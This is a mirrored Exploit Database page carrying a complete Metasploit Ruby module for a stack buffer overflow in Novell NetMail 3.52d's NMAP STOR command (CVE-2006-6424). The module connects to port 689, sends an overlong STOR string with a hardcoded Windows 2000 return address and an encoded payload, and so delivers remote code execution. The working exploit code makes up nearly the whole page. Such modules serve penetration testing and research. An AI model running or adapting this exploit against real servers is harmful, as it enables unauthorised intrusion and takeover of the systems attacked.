Novell NetMail 3.52d – NMAP STOR Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16813/

• ##
  # $Id: nmap_stor.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
  				verb. By sending an overly long string, an attacker can overwrite the
  				buffer and control program execution.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-6424' ],
  					[ 'OSVDB', '31363' ],
  					[ 'BID', '21725' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 23 2006'))
  
  		register_options([Opt::RPORT(689)], self.class)
  	end
  
  	def exploit
  		connect
  		sock.get_once
  
  		auth ="USER " + rand_text_english(10)
  		sock.put(auth + "\r\n")
  
  		res = sock.get_once
  
  		sploit ="STOR " + rand_text_english(253) + [ target.ret ].pack('V')
  		sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
  
  		if (res =~ /1000/)
  			print_status("Trying target #{target.name}...")
  			sock.put(sploit)
  		else
  			print_status("Not in Trusted Hosts.")
  		end
  
  		handler
  		disconnect
  	end
  end